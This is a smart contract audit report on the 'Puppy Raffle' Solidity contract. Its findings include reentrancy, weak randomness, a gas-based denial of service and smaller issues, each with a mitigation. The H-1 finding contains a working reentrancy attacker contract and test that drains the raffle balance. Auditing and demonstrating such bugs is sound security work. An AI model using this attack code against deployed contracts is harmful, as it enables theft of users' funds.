Protocol Audit Report

Version 1.0

Cyfrin.io

May 12, 2025

Puppy Raffle Audit Report

Cyfrin.io

May 12, 2025

Prepared by: Tarot Club Lead Auditors:

- SageIAm

Table of Contents

- Medium
  * [M-1] Looping through Players array `PuppyRaffle::enterRaffle` may result in Potential DoS attack, Incremental Gas Cost with every new players added
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existance and for player at index 0 , causing player at index 0 think that he have not entered raffle
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable
  * [G-2] Storage variable in loop should be cashed
- Informational
  * [I-1]: Solidity pragma should be specific, not wide
  * [I-2]: Using outdated version of solidity is not recommended
  * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] does not follow CEI, which is not a best practice
  * [I-5] Use of "magic" numbers is discouraged

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The SageIAm team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	1
Gas	2
Info	5
Total	11

Findings

High

[H-1] Reentrance attack in `PuppyRaffle::refund` allows entract to drain the raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle can have `fallback`/`recieve` functions that calls the refund function repeatedly till raffle is drained of balance,

Impact: All the fees paid to the raffle entrants can be stolen by malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attackers setup the `ReentranceAttack` contract with `fallback` that call `PuppyRaffle::refund`.
3. Attacker enter the raffle.
4. Attacker calls `PuppyRaffle::refund` using attack contract , to draining the `PuppyRaffle`.

Proof Of Code

Add the following to ‘PuppyRaffle.t.sol

```


contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFees;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFees = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = payable(address(this));
        puppyRaffle.enterRaffle{value: entranceFees}(players);
        puppyRaffle.refund(
            puppyRaffle.getActivePlayerIndex(payable(address(this)))
        );
    }

    function _steal() internal {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(
                puppyRaffle.getActivePlayerIndex(payable(address(this))
                    )
            );
        }
    }

    fallback() external payable {
        _steal();
    }

    receive() external payable {
        _steal();
    }
}


function test_ReentrancyRefund() public playersEntered {
    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        address(puppyRaffle)
    );
    address attacker = makeAddr("attacker");
    vm.deal(attacker, entranceFee);
    uint256 startingAttackerContractBalance = address(attackerContract)
        .balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
    console.log(
        "Starting Attacker Contract Balance:",
        startingAttackerContractBalance
    );
    console.log(
        "Starting PuppyRaffle Contract Balance:",
        startingPuppyRaffleBalance
    );

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();
    uint256 endingAttackerContractBalance = address(attackerContract)
        .balance;
    uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance;
    console.log(
        "Ending Attacker Contract Balance:",
        endingAttackerContractBalance
    );
    console.log(
        "Ending PuppyRaffle Contract Balance:",
        endingPuppyRaffleBalance
    );
}
```

Recommended Mitigation: To prevent reentrance attack `PuppyRaffle::players` array and `PuppyRaffle::RaffleRefunded` event shou;d be updated before makeing external call

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];

        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
        // @audit reentrance attack
-       players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block,timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

Medium

[M-1] Looping through Players array `PuppyRaffle::enterRaffle` may result in Potential DoS attack, Incremental Gas Cost with every new players added

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
for(uint256 j = i+1; j< players.length; j++){
require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
}
}
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof Of Concept

```

function test_DoSEnterRaffle() public {
    vm.txGasPrice(1);
    uint160 numPlayers = 500;
    address[] memory players1 = new address[](numPlayers);
    for (uint160 i; i < numPlayers; ++i) {
    players1[i] = address(i);
    }
    uint256 gasAtStartingFirst = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players1);
    uint256 gasAtEndingFirst = gasleft();
    uint256 totalGasFirst = (gasAtStartingFirst - gasAtEndingFirst) \_
    tx.gasprice;
    console.log("Gas Used For Starting 100 Players:", totalGasFirst);

    address[] memory players2 = new address[](numPlayers);
    for (uint160 i; i < numPlayers; ++i) {
        players2[i] = address(i + numPlayers);
    }
    uint256 gasAtStartingSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players2);
    uint256 gasAtEndingSecond = gasleft();
    uint256 totalGasSecond = (gasAtStartingSecond - gasAtEndingSecond)
        *
        tx.gasprice;
    console.log("Gas Used For Next 100 Players:", totalGasSecond);
    assert(totalGasSecond > totalGasFirst);
}
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

1. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existance and for player at index 0 , causing player at index 0 think that he have not entered raffle

Description: If a player in at index `0`, calls `PuppyRaffle::getActivePlayerIndex` that will return `0` that is the output for non-existance.

```
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in loop should be cashed

Every time you call `players.length` it is being read from storage as opposed to memory that is more gas efficient.

```
+   uint256 playerLength = players.length
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                    require(
                        players[i] != players[j],
                        "PuppyRaffle: Duplicate player"
                    );
                }
            }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. **Recommendation**

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

For more information visit [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity)

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 75

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 218

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  \_safeMint(winner, tokenId);

* (bool success,) = winner.call{value: prizePool}("");
* require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it’s much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
```

```
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```